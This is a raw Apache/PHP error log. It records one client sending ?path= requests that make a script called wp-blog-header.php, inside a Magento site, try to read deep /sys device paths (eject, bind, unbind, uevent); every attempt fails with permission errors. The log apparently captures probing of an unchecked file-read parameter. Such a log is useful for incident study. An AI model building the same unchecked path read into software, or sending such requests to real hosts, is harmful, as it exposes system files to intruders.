[Thu Mar 26 11:13:31.068576 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:13:38.568301 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers/ec
[Thu Mar 26 11:13:39.620850 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ce
[Thu Mar 26 11:13:40.139065 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:de
[Thu Mar 26 11:13:42.725558 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:13:43.779467 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ea
[Thu Mar 26 11:13:46.973667 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ee
[Thu Mar 26 11:13:49.675604 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:13:53.417934 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:13:58.117334 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ce
[Thu Mar 26 11:13:59.190462 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:14:05.451840 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:14:07.064826 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ce
[Thu Mar 26 11:14:11.673726 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:da
[Thu Mar 26 11:14:13.186704 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:bc
[Thu Mar 26 11:14:16.377663 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:14:21.072397 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:14:22.106479 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec
[Thu Mar 26 11:14:23.206272 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:da
[Thu Mar 26 11:14:25.763974 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:fc
[Thu Mar 26 11:14:26.331900 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ba
[Thu Mar 26 11:14:28.950079 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae
[Thu Mar 26 11:14:30.050707 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:14:32.639979 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ec
[Thu Mar 26 11:14:34.182268 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:14:34.673742 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:14:35.183890 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac
[Thu Mar 26 11:14:37.304432 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:14:40.088042 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ea
[Thu Mar 26 11:14:43.783682 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:14:45.889789 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:be
[Thu Mar 26 11:14:49.209620 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:da
[Thu Mar 26 11:14:50.799753 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac
[Thu Mar 26 11:14:53.928906 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ce
[Thu Mar 26 11:14:55.611016 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ee
[Thu Mar 26 11:14:58.926449 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ec
[Thu Mar 26 11:15:00.069206 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:15:00.599590 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ea
[Thu Mar 26 11:15:03.323036 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36850] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:fa
[Thu Mar 26 11:15:08.214720 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ca
[Thu Mar 26 11:15:08.766066 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ac
[Thu Mar 26 11:15:16.080963 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec
[Thu Mar 26 11:15:17.686866 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:15:20.327097 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
